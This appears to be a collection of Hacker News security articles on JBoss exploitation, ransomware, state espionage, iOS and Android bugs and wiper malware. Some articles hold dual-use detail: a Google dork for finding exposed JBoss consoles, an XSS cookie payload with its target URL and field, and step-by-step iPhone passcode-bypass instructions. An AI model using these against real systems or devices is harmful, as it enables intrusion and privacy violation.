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Two-year-old vulnerability in JBoss Application Servers enables Remote Shell for Hackers | https://thehackernews.com/2013/11/Vulnerability-JBoss-Application-Servers-exploit-code.html | Cyber security of many organizations being attacked at an extremely high rate this month, well another alarming cyber crime report become public today.
A widely unpatched and two years old critical vulnerability in JBoss Application Server (AS) that enable an attacker to remotely get a shell on a vulnerable web server.
JBoss Application Server is an open-source Java EE-based application server very popular, it was designed by JBoss, now a division of Red Hat. In late 2012, JBoss AS was named as "wildFly", since disclosure of the exploit code many products running the affected JBoss Application Server have been impacted, including some security software.
Tens of thousands of enterprise data center servers are vulnerable to this attack, with at least 500 actively compromised, according to the Imperva report. Many systems administrators have yet to properly configure their servers to mitigate the threat, and the number of potential targets has increased over time, making the exploit even more attractive to attackers.
The number of infections has surged since exploit code called pwn.jsp was publicly disclosed i.e. October 4th. pwn.jsp shell isn't the unique exploit available, Imperva's Barry Shteiman confirmed the availability of another more sophisticated shell available to attackers.
"In these cases, the attackers had used the JspSpy web shell which includes a richer User Interface, enabling the attackers to easily browse through the infected files and databases, connect with a remote command and control server and other modern malware capabilities,"
A number of Government and Education related websites have been hacked, exploiting the JBoss Application Server vulnerability, where an attacker can obtain a remote shell access on the target system to inject code into a website hosted on the server or steal files stored on the machine.
"The vulnerability allows an attacker to abuse the management interface of the JBoss AS in order to deploy additional functionality into the web server. Once the attackers deploy that additional functionality, they gain full control over the exploited JBoss infrastructure, and therefore the site powered by that Application Server."
Imperva researchers demonstrated that JBoss AS is vulnerable to remote command execution via the 'HTTP Invoker' service that provides Remote Method Invocation (RMI) /HTTP access to Enterprise Java Beans (EJB).
The Invoker improperly exposes the management interface, "Jboss Application Server is vulnerable to remote command execution via the 'HTTP Invoker' service that provides Remote Method Invocation (RMI) /HTTP access to Enterprise Java Beans (EJB)".
On Sept. 16th, the National Vulnerability Database issued an advisory warning of a critical remote code execution bug affecting HP ProCurve Manager, it's assigned to the flaw the Common Vulnerability Enumeration code CVE-2013-4810 and on October 4th 2013, a security researcher has disclosed the code of an exploit for the JBoss Application Server vulnerability.
As consequence the security community had witnessed a surge in Jboss AS hacking, the malicious traffic originated from the compromised servers was detected by Imperva's honey pots.
In a few weeks an exploit was added to exploit-db that successfully gained shell against a product running JBoss 4.0.5.
Imperva confirmed that the number of web servers running Jboss Application Server exposing management interfaces has tripled since the initial vulnerability research was public disclosed passing from 7,000 to 23,000.
I have just run the following Google Dork retrieving more than 17000 results:
intitle:"JBoss Management Console – Server Information" "application server" inurl:"web-console" OR inurl:"jmx-console"
It is possible to note that Google reconnaissance enables the attacker to identify also governmental and educational websites, some of them also result infected.
"Many of the deployed web shells utilize the original pwn.jsp shell code that was presented with the original exploit, as can be seen in a blog entry posted by one of the attack's victims. In other cases a more powerful web shell was deployed. In these cases, the attackers had used the JspSpy web shell which includes a richer User Interface, enabling the attackers to easily browse through the infected files and databases, connect with a remote command and control server and other modern malware capabilities."
The concerning aspect of the story is that once again on a two-year-old vulnerability could be easily exploited to compromise a huge quantity of information, the situation is analogue to the Silverlight flaw that manages users of Netflix, the provider of on-demand Internet streaming media.
| Vulnerability |
University Pays Hackers $20,000 to get back its Ransomware Infected Files | https://thehackernews.com/2016/06/university-ransomware.html | What's the worst that could happen when a Ransomware malware hits University?
Last month, the IT department of the University from where I have done my graduation called me for helping them get rid of a Ransomware infection that locked down all its student's results just a day before the announcement.
Unfortunately, there was no decrypter available for that specific ransomware sample, but luckily they had the digital backup for the examination results in the form of hundreds of excel sheets.
So, somehow backup helped administrator to re-compile complete result once again into the database, but this delayed the announcement for over 30 days.
However, the situation is not same every time.
Recently, the University of Calgary in Alberta paid a ransom of $20,000 to decrypt their computer systems' files and regain access to its own email system after getting hit by a ransomware infection.
The University fell victim to ransomware last month, when the malware installed itself on computers, encrypted all documents and demanded $20,000 in Bitcoins to recover the data.
Also Read: Ransomware attacks on Hospitals put Patients at Risk
Since the University obviously was not properly backing up the data, the administrators have agreed to pay up the ransom amount, the university announced in a release Tuesday, after a cyber attack that left students and staff unable to access university-issued PCs, email or Skype.
"As part of efforts to maintain all options to address these systems issues, the university has paid a ransom totaling about $20,000 CDN that was demanded as part of this 'ransomware' attack," Linda Dalgetty, VP of finance and services at the University said in a release.
The University assured its staff and students that no personal or University data was released to the public and that it is working with Calgary police to investigate the cyber attack that affected more than 100 computers.
The university's IT department is still in the process of assessing and evaluating the decryption keys and is working to recover data and ensure all of the affected systems are operational again.
The University also confirmed the decryption keys provided by the attacker worked successfully. The email service for its students and staff was brought back yesterday, but not on the original University system.
The University did not further comment on how the infection made its way into their systems and networks.
Also Read: Ransomware attacks Shuts Down Electric and Water Utility.
We saw an enormous rise in Ransomware threats, both in numbers and sophistication. You would be surprised to know about the latest version of Cerber ransomware that generates a different sample in every 15 seconds in order to bypass signature-based antivirus software.
One of the best first steps in securing your environment is to deploy automated and isolated backup mechanism, along with an Intrusion detection system (IDS) at the network level as well as host-based IDS on your critical assets.
IDS gives you detailed insight into what exactly is coming across the wire, instead of just relying on signature-based antivirus and anti-malware software.
You can try AlienVault Unified Security Management (USM) that includes an inbuilt IDS with SIEM and real-time threat intelligence to help you quickly detect malware and other threats in your network.
| Cyber_Attack |
New Java exploit sells for $5000 on Black market | https://thehackernews.com/2013/01/new-java-exploit-sells-for-5000-on.html | We continues to recommend users disable the Java program in their Web browsers, because it remains vulnerable to attacks that could result in identity theft and other cyber crimes and less than 24 hours after Oracle Sunday released a security update that addresses two critical zero-day vulnerabilities in Java that are being actively exploited by attackers, an online vulnerability seller began offering a brand-new Java bug for sale.
According to a report, a Java exploits was being advertised for $5,000 a piece in an underground Internet forum and the new zero-day vulnerability was apparently already in at least one attacker's hands.
The thread has since been deleted from the forum indicating a sale has been made, something sure to bring more concern to Oracle.Oracle can't predict the future, and its engineers obviously can't predict what exploits are going to be found in its software.
The most recent hold Java fixed allowed hackers to enter a computer by using compromised websites as the entry-point into Java. Once in the system, they could steal any information, or hook up the computer to a botnet or a string of infected computers that can be used to launch attacks against other computers.
The exploit is valuable because not only is it usable on the most up-to-date version of Java, which could remain vulnerable for weeks, if not months.
| Vulnerability |
Chinese Hackers Target Major Southeast Asian Telecom Companies | https://thehackernews.com/2021/08/chinese-hackers-target-major-southeast.html | Three distinct clusters of malicious activities operating on behalf of Chinese state interests have staged a series of attacks to target networks belonging to at least five major telecommunications companies located in Southeast Asian countries since 2017.
"The goal of the attackers behind these intrusions was to gain and maintain continuous access to telecommunication providers and to facilitate cyber espionage by collecting sensitive information, compromising high-profile business assets such as the billing servers that contain Call Detail Record (CDR) data, as well as key network components such as the Domain Controllers, Web Servers and Microsoft Exchange servers," Cybereason's Lior Rochberger, Tom Fakterman, Daniel Frank, and Assaf Dahan revealed in a technical analysis published Tuesday.
The Boston-based cybersecurity firm linked the campaigns, collectively named "DeadRinger," to three different Chinese threat actors, namely Gallium (aka Soft Cell), Naikon APT (aka APT30 or Lotus Panda), and TG-3390 (aka APT27 or Emissary Panda).
The activity surrounding the latter of the three clusters started in 2017, while Gallium-related attacks were first observed in Q4 2020, with the Naikon group jumping on the exploitation bandwagon last in Q4 2020. The three espionage operations are believed to have continued all the way to mid-2021.
Calling the attackers "highly adaptive," the researchers called out their diligent efforts to stay under the radar and maintain persistence on the infected endpoints, while simultaneously shifting tactics and updating their defensive measures to compromise and backdoor unpatched Microsoft Exchange email servers using the ProxyLogon exploits that came to light earlier this March.
"Each phase of the operation demonstrates the attackers' adaptiveness in how they responded to various mitigation efforts, changing infrastructure, toolsets, and techniques while attempting to become more stealthy," the researchers noted.
Naikon, on the other hand, was found to leverage a backdoor named "Nebulae" as well as a previously undocumented keylogger dubbed "EnrollLoger" on selected high-profile assets. It's worth pointing out that Naikon's use of Nebulae first emerged in April 2021 when the adversary was attributed as behind a wide-ranging cyber-espionage campaign targeting military organizations in Southeast Asia.
Regardless of the attack chain, a successful compromise triggered a sequence of steps, enabling the threat actors to perform network reconnaissance, credential theft, lateral movement, and data exfiltration.
The Emissary Panda cluster is the oldest of the three, primarily involving the deployment of a custom .NET-based OWA (Outlook Web Access) backdoor, which is used to pilfer credentials of users logging into Microsoft OWA services, granting the attackers the ability to access the environment stealthily.
Also of note is the overlap among the clusters in terms of the victimology and the use of generic tools like Mimikatz, with the three groups detected in the same target environment, around the same timeframe, and even on the same systems in some instances.
"At this point, there is not enough information to determine with certainty the nature of this overlap — namely, whether these clusters represent the work of three different threat actors working independently, or whether these clusters represent the work of three different teams operating on behalf of a single threat actor," the researchers said.
"A second hypothesis is that there are two or more Chinese threat actors with different agendas / tasks that are aware of each other's work and potentially even working in tandem."
| Malware |
Latest iOS 12.1.4 Update Patches 2 Zero-Day and FaceTime Bugs | https://thehackernews.com/2019/02/ios-security-update-facetime.html | Apple has finally released iOS 12.1.4 software update to patch the terrible Group FaceTime privacy bug that could have allowed an Apple user to call you via the FaceTime video chat service and hear or see you before you even pick up the call without your knowledge.
The Facetime bug (CVE-2019-6223) was discovered by 14-year-old Grant Thompson of Catalina Foothills High School while he was trying to set up a Group FaceTime session with his friends.
Thompson reported the bug to the company a week before it made headlines across the internet, forcing Apple to temporarily disable the group calling feature within FaceTime.
In its advisory published Thursday, Apple described the bug as "a logic issue existed in the handling of Group FaceTime calls," that also impacted the group FaceTime calling feature on Apple's macOS Mojave 10.14.2.
Along with Thompson, Apple has also credited Daven Morris of Arlington, Texas, in its official advisory for reporting this bug.
According to media reports, Apple has confirmed to "compensate" the family and help towards the teenager's future education costs as part of its Bug Bounty program, though it is unclear how much the company is going to pay.
Two More In-The-Wild Zero-Day Flaws Discovered
The iOS 12.1.4 update also patches three more security vulnerabilities, two of which were also reportedly being exploited in the wild, confirmed by Google Project Zero researchers, who discovered and reported these vulnerabilities to Apple. The last bug was also related to FaceTime.
CVE-2019-7286: a memory corruption issue that could allow a malicious application to gain elevated privileges on the vulnerable Apple device.
CVE-2019-7287: a memory corruption issue that could allow a malicious application to execute arbitrary code with kernel privileges.
CVE-2019-7288: discovered by the Apple security team, this flaw is another FaceTime issue with Live Photos.
If you haven't yet, you are highly recommended to update your Apple devices with iOS 12.1.4 release, which is available for the iPhone 5S, and later, iPad Air and later, and iPod touch 6th generation.
To run the update on your iPhone, iPad or iPod, just go to Settings→ General → Software Update and click the 'Download and Install' button.
If you are a Mac owner, you should also install the new macOS Mojave 10.14.3 update on your computer that also fixes three of the four vulnerabilities briefed above, including the FaceTime issues.
To update your Mac computer, just go to Apple menu in the top left corner of your computer, select 'System Preferences,' click 'Software Update' and download the new update.
| Vulnerability |
25 Million 'NAVER' Accounts Breached using Stolen Data | https://thehackernews.com/2014/03/25-million-naver-accounts-breached.html | A 31-year-old South Korean has been recently accused by the police for the allegation of infiltrating and hacking the accounts of 25 million users of Naver, one of the popular search portal in South Korea.
On Wednesday, the Asian National Police Agency revealed that the suspect purchased the private information of 25 million users, including names, residential numbers, Internet IDs and passwords from a Korean-Chinese, back in August last year, Korea Herald reported.
The suspect surnamed 'Seo', supposedly used the purchased information to hack into the accounts of Naver users and sent out spam messages and other 'illicit emails' to the account holders. He had made an illegal profit of some 160 million won ($148,000) using this, according to the report.
Also a hacker surnamed 'Hong', has been arrested by the police who was suspected to develop the hacking program that automatically enter users' IDs and passwords, which was apparently used by 'Seo' to sign-in to the Naver users' accounts.
The police have charged three accomplices of Seo without detention and enhancing their investigation to 86 others who are suspected to buy the computer programs made by Hong.
On this issue, a Naver official stressed that Naver was not at fault regarding the incident, rather the personal information of the users are ready to purchase from the black market of the Korea. So, the data are not abused by the internal sources, rather it is very easy for the people having a hand on users' sensitive information.
He added "the best preventive measure for now would be for users to change their passwords on a regular basis so that even if someone should access their accounts the impact would be minimal."
He might be right at this point, as earlier this month, 20 Million Credit Cards in South Korea were stolen in the country of 50 million population, which is approx 40% Population of the country who were affected by the Data breach.
Also In 2012, two South Korean hackers were arrested for data from 8.7 million customers in the nation's second-biggest mobile operator.
| Data_Breaches |
Open Source Smart Meter Hacking Framework can Hack into the Power Grid | https://thehackernews.com/2012/07/open-source-smart-meter-hacking.html | A researcher specializing in smart grids has released an open-source tool designed to assess the security of smart meters. Dubbed 'Termineter,' the framework would allow users, such as grid operators and administrators, to test smart meters for vulnerabilities.
It claims will let security researchers and penetration testers verify the security of electric utility smart meters being installed in millions of homes around the country. Termineter uses the serial port connection that interacts with the meter's optical infrared interface to give the user access to the smart meter's inner workings. The user interface is much like the interface used by the Metasploit penetration testing framework. It relies on modules to extend its testing capabilities.
Spencer McIntyre, of the SecureState Research & Innovation Team, will perform the first live public demonstration of the Termineter framework during his presentation, "How I Learned To Stop Worrying and Love the Smart Meter" at Security B-Sides Vegas on Wednesday, July 25, 3 pm at The Artisan Boutique Hotel.
The release of the tool is two-fold: on one hand, it will make auditing and flaw detection easier for utility companies but, on the other hand, it might facilitate unauthorized access to the system. By modifying consumption data, a hacker can inflict financial loss on the provider, but will also invalidate data related to demand.
The electricity meters are also a sensitive issue, as they are used for more than taxing and demand estimation: it allows the police to detect unusual spikes in consumption and identify households that illegally farm marijuana.
The Termineter Framework can be downloaded here.
| Vulnerability |
Kevin Mitnick's website open to Cross-Site Scripting ( XSS ) vulnerability | https://thehackernews.com/2012/03/kevin-mitnicks-website-open-to-cross.html | Kevin Mitnick's website open to Cross-Site Scripting ( XSS ) vulnerability
Cross-Site Scripting ( XSS ) vulnerability discovered in official website of Kevin Mitnick (one of the most talented hackers, and the one one most prosecuted by the state. Mitnick's hacker handle was "Condor". He became the first hacker to appear on an FBI "Most Wanted" poster, for breaking into the Digital Equipment Company computer network, Mitnick has become something of a celebrity in hacker circles due to his Hacking talent) by Fabián Cuchietti.
This is a serious security issue, with potential implications that are only starting to be understood. However, it is critical to realize that this problem does not expose any way to break into the server itself. What it allows is for malicious attackers to potentially take control of the interaction between a user and a website. It is likely that the most serious thing that an attacker can potentially do in this situation is change how a page appears to a particular user.
Vulnerable Link : https://mitnicksecurity.com/workshop_signup.php
Vulnerable Textbox : strEmail is not filtered some html tags in textbox
Method: Post
Example payload: /"><iframe onload=alert(document.cookie)>
| Vulnerability |
Malware Exploits SHELLSHOCK Vulnerability to Hack NAS Devices | https://thehackernews.com/2014/12/malware-shellshock-hack.html | The year is about to end, but serious threats like Shellshock is "far from over". Cyber criminals are actively exploiting this critical GNU Bash vulnerability to target those network attached storage devices that are still not patched and ready for exploitation.
Security researchers have unearthed a malicious worm that is designed to plant backdoors on network-attached storage (NAS) systems made by Taiwan-based QNAP and gain full access to the contents of those devices.
The worm is spread among QNAP devices, which run an embedded Linux operating system, by the exploitation of the GNU Bash vulnerability known as ShellShock or Bash, according to security researchers at the Sans Institute.
QNAP vendor released a patch in early October to address the flaw in its Turbo NAS product, but because the patches are not automatic or easy to apply for many users, so a statistically significant portion of systems remain vulnerable and exposed to the Bash bug.
Shellshock vulnerability was among the critical and serious Internet vulnerabilities uncovered this year, as the vulnerability in Bash, aka the GNU Bourne Again Shell, affects Linux and UNIX distributions to a large extent, but also Windows in some cases. The flaw exploits a bug in GNU Bash that gives attackers the ability to run execute shell commands of their choice remotely on vulnerable systems using specifically crafted variables.
"The attack targets a QNAP CGI script, /cgi-bin/authLogin.cgi, a well known vector for Shellshock on QNAP devices," Johannes B. Ullrich, head of the Internet Storm Center at the SANS Institute, wrote in the blog post published Sunday. "This script is called during login, and reachable without authentication. The exploit is then used to launch a simple shell script that will download and execute a number of additional pieces of malware."
Once the device is infected by the worm, malicious components also execute a script that makes the device to carry out click fraud scam against an online advertising network JuiceADV. A number of other scripts are also installed on the infected system. The worm is dangerous because the "infected devices have been observed scanning for other vulnerable devices," Ullrich said.
According to the researcher, the infected systems are equipped with a secure shell (SSH) server on port 26 and a new administrative user, which gives the attackers a determined backdoor to hide into the device at any time in the future.
"The DNS change is likely made to avoid logging and potentially blacklisting of any affected domains," Ullrich said. "The SSH server is a second SSH server that is being launched, in addition to the normal SSH server on port 22. This second SSH server, and the additional user added to the system, provides the attacker with persistent access to the system."
More interestingly, the worm also patches the notorious Shellshock vulnerability on the infected devices by downloading and applying the security updates from QNAP and reboot the device, in order to prevent other attackers from taking over the compromised device.
| Vulnerability |
Armorize Partners With Symantec to Provide Powerful Anti-Malvertising Technology | https://thehackernews.com/2011/10/armorize-partners-with-symantec-to.html | Armorize Partners With Symantec to Provide Powerful Anti-Malvertising Technology
Armorize Partners With Symantec to Provide Its Powerful Anti-Malvertising Technology to Symantec's New Solution, AdVantage, to Help Customers Protect Themselves From the Growing Threat of Malicious Advertising Attacks.
The partnership will utilize the advanced malware detection engine from Armorize's successful HackAlert product lines to power Symantec's new cloud-based anti-malvertising solution, Symantec AdVantage.The Symantec AdVantage solution will provide its customers with the ability to monitor the ads displayed on their websites for web malware. The product dashboard will also present valuable statistics which enable publishers to compare the quality of ads and ad networks they work with based on the safety ratings and reputation scores for each specific ad or network.
Some of the users who visited KickassTorrents (KAT), one of the most popular torrent trackers on the Internet, over the weekend had the nasty surprise of being infected with a rogue antivirus program called "Security Sphere 2012."
According to experts from Web security vendor Armorize Technologies who detected the drive-by download attack, the infection process did not require any user interaction if the victim had outdated browser plug-ins.
Malvertizing (malicious advertising) attacks are much more dangerous than those relying on spammed links or social engineering because they exploit the trust relationship between users and their favorite websites. Coupled with drive-by download exploits like those used in this case, such incidents can result in a high number of victims.Symantec has partnered with Armorize Technologies to develop a new cloud-based service called Symantec AdVantage, which promises to help webmasters detect malicious code hidden within the advertisements displayed on their websites.
| Malware |
Don't Fall for Fake Instagram Desktop Applications Offering 'Image Viewer' | https://thehackernews.com/2014/05/dont-fall-for-fake-instagram-desktop.html | Today, the estimated number of known computer threats like viruses, worms, backdoors, exploits, Trojans, spyware, password stealers, and other variants of potentially unwanted software range into millions. It has ability to create several different forms of itself dynamically in order to thwart antimalware programs.
Instagram users are also targeted by the potentially unwanted software programs that claims to enable them to download their Instagram photos and videos using desktop machines or computers. But once downloaded and installed into system, it could expose the user to a number of security vulnerabilities, often overlap with adware, warned the security firm Malwarebytes.
"In the case of Instagram, what we've seen out there could pose greater risk than, say, your average phishing site," said Malwarebytes intelligence analyst Jovi Umawing in a blog post.
Instagram is a social networking service use for online photo-sharing and video-sharing. It allows its users to take pictures and videos, apply digital filters to them, and share them on other social networking services, such as Facebook, Twitter, Tumblr and Flickr.
With the growing popularity and concern among the internet users, Instagram is widely used by people. The firm expects that in the coming years the number of users will steadily increase until at least 2016, by considering the latest statistics from the digital marketing research and analysis company eMarketers published in late March, Instagram surpassed Twitter in terms of active mobile users in the US by 2.7 million, which is really a very large number.
"With news of Instagram finally beating Twitter in terms of overall usage, it's high time that we stop, look back, and remind ourselves of the potential dangers lurking on the net specifically crafted to target Instagram users and lurkers alike," the company warned in a blog post.
Malwarebytes found a number of files and sites as well that take advantage of software's popularity and come bundled with the downloads of such third-party programs which includes a number of potentially unwanted programs (PUPs) that could spell bad news for users.
However, Potentially Unwanted Programs are not technically-classified as trojans or any other type of malware, but it serve little purpose other than using your computer as a gateway for online advertisements or as a catalyst to deliver annoying or malicious applications that may pester you to the point where you want to throw your computer out a window.
"Doing a Google search surely yields sites where one can download several programs involving Instagram. Some of which can either be classed as 'image viewers' or 'image and video downloaders' publicly-accessible accounts," the firm wrote. "Since Instagram can be visited via Web browsers, we can easily say that these downloads target any Windows computer user who just want to keep copies of photos and videos that are likely not their own."
There are anti-malwares to detect these kinds of threats, but this is something that remains on the users' hand as well because the increase in the number of potentially unwanted programs and its several variants could target online users and cause danger. So, avoid downloading such programs onto your personal systems.
| Malware |
StoneDrill Disk Wiping Malware Found Targeting European Industries | https://thehackernews.com/2017/03/stonedrill-data-wiping-malware.html | A new disk wiping malware has been uncovered targeting a petroleum company in Europe, which is quite similar to the mysterious disk wiper malware Shamoon that wiped data from 35,000 computers at Saudi Arabia's national oil company in 2012.
Disk wiping malware has the ability to cripple any organization by permanently wiping out data from all hard drive and external storage on a targeted machine, causing great financial and reputational damage.
Security researchers from Moscow-based antivirus provider Kaspersky Lab discovered the new wiper StoneDrill while researching last November's re-emergence of Shamoon malware (Shamoon 2.0) attacks – two attacks occurred in November and one in late January.
Shamoon 2.0 is the more advanced version of Shamoon malware that reportedly hit 15 government agencies and organizations across the world, wipes data and takes control of the computer's boot record, preventing the computers from being turned back on.
Meanwhile, Kaspersky researchers found that the newly discovered StoneDrill wiper malware was built in a similar "style" to Shamoon 2.0, but did not share the exact same code base.
"The discovery of the StoneDrill wiper in Europe is a significant sign that the group is expanding its destructive attacks outside the Middle East," Kaspersky researchers say in a blog post. "The target for the attack appears to be a large corporation with a wide area of activity in the petrochemical sector, with no apparent connection or interest in Saudi Arabia."
Researchers also noticed that the samples of Shamoon 2.0 and StoneDrill were also uploaded multiple times to online multi-scanner antivirus engines from Saudi Arabia last November.
Here's How StoneDrill Malware Works:
StoneDrill has been designed to as a service and target all systems connected within an organization to a Windows domain. In order to spread itself, the malware relies on a list of hard coded, previously stolen usernames and passwords belonging to administrators of the targeted domain.
Once infected, StoneDrill automatically generates a custom wiper malware module without connecting to any command-and-control server, rendering the infected machines completely inoperable.
StoneDrill wiper malware also includes the following characteristics:
New Evasion Techniques
StoneDrill features an impressive ability to evade detection and avoid sandbox execution. Unlike Shamoon, StoneDrill doesn't make use of disk drivers during installation.
Instead, StoneDrill relies on memory injection of the data wiping module into the victim's preferred browser.
StoneDrill also makes use of Visual Basic Scripts to run self-delete scripts, while Shamoon did not use any external scripts.
Backdoor Ability
Like Shamoon, StoneDrill also includes backdoor functions that are used for espionage operations, with screenshot and upload capabilities.
Kaspersky researchers identified at least four command-and-control (C&C) servers that the attackers used to spy on and steal data from an unknown number of targets.
Furthermore, StoneDrill uses command and control communications to interact with the malware instead of using a "kill time" as in the Shamoon attacks analyzed in January 2017 that do not implement any C&C communication.
Ransomware Component
Besides wiping functionality, the new malware also includes a ransomware component.
However, this feature is currently inactive but attackers can use leverage this part of the platform in future attacks to hold victims hostage for financial or idealistic gain.
Like Shamoon 2.0, StoneDrill was reportedly compiled in October and November 2016.
Although StoneDrill mostly targets organizations in Saudi Arabia, Kaspersky researchers discovered the malware victims in Europe as well, meaning that the attackers might be widening their campaign.
For more technical details about the StoneDrill and Shamoon 2.0 attacks, you can head on to Kaspersky's official blog.
| Cyber_Attack |
New iPhone Passcode Bypass Found Hours After Apple Releases iOS 12.1 | https://thehackernews.com/2018/10/iphone-ios-passcode-bypass.html | It's only been a few hours since Apple releases iOS 12.1 and an iPhone enthusiast has managed to find a passcode bypass hack, once again, that could allow anyone to see all contacts' private information on a locked iPhone.
Jose Rodriguez, a Spanish security researcher, contacted The Hacker News and confirmed that he discovered an iPhone passcode bypass bug in the latest version of its iOS mobile operating system, iOS 12.1, released by Apple today.
To demonstrate the bug, Rodriguez shared a video with The Hacker News, as shown below, describing how the new iPhone hack works, which is relatively simple to perform than his previous passcode bypass findings.
Instead, the issue resides in a new feature, called Group FaceTime, introduced by Apple with iOS 12.1, which makes it easy for users to video chat with more people than ever before—maximum 32 people.
How Does the New iPhone Passcode Bypass Attack Work?
Unlike his previous passcode bypass hacks, the new method works even without having Siri or VoiceOver screen reader feature enabled on a target iPhone, and is trivial to execute.
Here are steps to execute the new passcode bypass hack:
Call the target iPhone from any other iPhone (if you don't know the target's phone number, you can ask Siri "who I am," or ask Siri to make a call to your phone number digit by digit), or use Siri to call on your own iPhone.
As soon as the call connects, initiate the "Facetime" video call from the same screen.
Now go to the bottom right menu and select "Add Person."
Press the plus icon (+) to access the complete contact list of the targeted iPhone, and by doing 3D Touch on each contact, you can see more information.
"In a passcode-locked iPhone with latest iOS released today Tuesday, you receive a phone call, or you ask Siri make a phone call (can be digit by digit), and, by changing the call to FaceTime you can access to the contact list while adding more people to the Group FaceTime, and by doing 3D Touch on each contact you can see more contact information," Rodriguez told The Hacker News.
Also, it should be noted that since the attack utilizes Apple's Facetime, the hack would only work if the devices involved in the process are iPhones.
The new passcode bypass method seems to work on all current iPhone models, including iPhone X and XS devices, running the latest version of the Apple mobile operating system, i.e., iOS 12.1.
Since there's no workaround to temporarily fix the issue, users can just wait for Apple to issue a software update to address the new iPhone passcode bypass bug as soon as possible.
Rodriguez has previously discovered a series of iPhone passcode bypass hacks. Around two weeks ago, he found an iPhone bypass hack that works in 12.0.1 and takes advantage of Siri and VoiceOver screen reader to get through your phone's defenses, allowing attackers to access photos and contacts on a locked iPhone.
Rodriguez discovered a similar bug in iOS 12 in late last month that also takes advantage of Siri and VoiceOver screen reader, and allows attackers with physical access to your iPhone to access your contacts and photos.
| Vulnerability |
Reserve Bank of Australia Hacked by Chinese malware | https://thehackernews.com/2013/03/reserve-bank-of-australia-hacked-by.html | If hackers want to get into your computer network, they will find a way. You can make it harder but you can't stop them.
According to Australian Financial Review report on Monday, the Reserve Bank of Australia (RBA) was hacked by hackers who infiltrated its networks and allegedly stole information using a Chinese piece of malware.
After investigations they found multiple computers had been compromised by malicious software seeking intelligence. Several RBA staffers including heads of department were sent the malicious emails over two days, but it isn't known if the malware executed and succeeded in capturing information from the compromised computers.
The malware consisted of a web address that linked to a zip file that contained a Trojan which at the time was not detected by the anti-virus program, according to the bank.
A Defence department spokesperson said: "The government does not discuss specific cyber incidents, activities or capabilities. [Doing so] could jeopardise ongoing investigations, monitoring of cyber incidents and the ability to protect information and networks."
Documents also showed that six users clicked on the link contained in the mail. All of the six workstations affected did not have local administrator rights, so the virus could not spread.
| Cyber_Attack |
Billions of Android Devices Vulnerable to Privilege Escalation Except Android 5.0 Lollipop | https://thehackernews.com/2014/11/billions-of-android-devices-vulnerable.html | A security weakness in Android mobile operating system versions below 5.0 that puts potentially every Android device at risk for privilege escalation attacks, has been patched in Android 5.0 Lollipop – the latest version of the mobile operating system.
The security vulnerability (CVE-2014-7911), discovered by a security researcher named Jann Horn, could allow any potential attacker to bypass the Address Space Layout Randomization (ASLR) defense and execute arbitrary code of their choice on a target device under certain circumstances. ASLR is a technique involved in protection from buffer overflow attacks.
The flaw resides in java.io.ObjectInputStream, which fails to check whether an Object that is being deserialized is actually a serializable object. The vulnerability was reported by the researcher to Google security team earlier this year.
According to the security researcher, android apps can communicate with system_service, which runs under admin privileges (UID 1000) and using Intents with the attached Bundles, these are "transferred as arraymap Parcels and arraymap Parcels can contain serialized data," in this way, any android app can attack the system_service.
After hearing a talk at a university about a vulnerability in a PHP web app involving deserialization of attacker-provided input data, Horn thought about serialization in other contexts, such as Android operating system.
Based on the assumption that Java ensures that the classes used are actually serialized and that ObjectInputStream may sometimes receive untrusted inputs, he figured out if the Android developers took the precaution to verify for deserialization possibility under this scenario. "Went home, checked, the [vulnerability] was there," Horn writes in a thread about the security vulnerability on Reddit.
"When ObjectInputStream is used on untrusted inputs, an attacker can cause an instance of any class with a non-private parameterless constructor to be created," the security advisory from Horn says. "All fields of that instance can be set to arbitrary values."
"The malicious object will then typically either be ignored or cast to a type to which it doesn't fit, implying that no methods will be called on it and no data from it will be used. However, when it is collected by the GC, the GC will call the object's finalize method."
In order to explain the issue, the security researcher has provided technical details and also developed a proof-of-concept (PoC) that crashes system_service. Till now, a full exploit of the bug has not been created and also Horn is not entirely sure about how predictable the address layout of the system_server really is or how easy it is to write a large amount of data into system_server's heap. However, in order to exploit this vulnerability on a vulnerable device, one need to get a malicious app onto the target device.
Horn disclosed the security bug to Android development team on June 22 and after addressing the bug, on November 3, a patch was delivered in Android Lollipop as part of the AOSP (Android Open Source Project) code release, but lower versions of Android OS are still vulnerable.
Android 5.0 Lollipop is the latest mobile operating system by Google, who describe Lollipop as "the largest Android release yet," with more than 5,000 new APIs. But users of Lollipop are warning others not to immediately upgrade their mobile OS, after experiencing broken apps, repeated crashes, and device slowdowns.
| Vulnerability |
Chinese Hackers Using Firefox Extension to Spy On Tibetan Organizations | https://thehackernews.com/2021/02/chinese-hackers-using-firefox-extension.html | Cybersecurity researchers today unwrapped a new campaign aimed at spying on vulnerable Tibetan communities globally by deploying a malicious Firefox extension on target systems.
"Threat actors aligned with the Chinese Communist Party's state interests delivered a customized malicious Mozilla Firefox browser extension that facilitated access and control of users' Gmail accounts," Proofpoint said in an analysis.
The Sunnyvale-based enterprise security company pinned the phishing operation on a Chinese advanced persistent threat (APT) it tracks as TA413, which has been previously attributed to attacks against the Tibetan diaspora by leveraging COVID-themed lures to deliver the Sepulcher malware with the strategic goal of espionage and civil dissident surveillance.
The researchers said the attacks were detected in January and February 2021, a pattern that has continued since March 2020.
The infection chain begins with a phishing email impersonating the "Tibetan Women's Association" using a TA413-linked Gmail account that's known to masquerade as the Bureau of His Holiness the Dalai Lama in India.
The emails contain a malicious URL, supposedly a link to YouTube, when in fact, it takes users to a fake "Adobe Flash Player Update" landing page where they are prompted to install a Firefox extension that Proofpoint calls "FriarFox."
For its part, the rogue extension — named "Flash update components" — disguises itself as an Adobe Flash-related tool, but the researchers said it's largely based on an open-source tool named "Gmail Notifier (restartless)" with significant alterations that add malicious capabilities, including incorporating modified versions of files taken from other extensions such as Checker Plus for Gmail.
The timing of this development is no coincidence, as Adobe officially began blocking Flash content from running in browsers starting January 12 following the rich multimedia format's end-of-life on December 31, 2020.
Interestingly, it appears that the operation is targeting only users of Firefox Browser who are also logged in to their Gmail accounts, as the add-on is never delivered in scenarios when the URL in question is visited on a browser such as Google Chrome or in cases where the access happens via Firefox, but the victims don't have an active Gmail session.
"In recent campaigns identified in February 2021, browser extension delivery domains have prompted users to 'Switch to the Firefox Browser' when accessing malicious domains using the Google Chrome Browser," the researchers said.
Once installed, the extension, besides having access to browser tabs and user data for all websites, comes equipped with features to search, read, and delete messages and even forward and send emails from the compromised Gmail account.
Additionally, FriarFox also contacts an attacker-controlled server to retrieve a PHP and JavaScript-based payload called Scanbox.
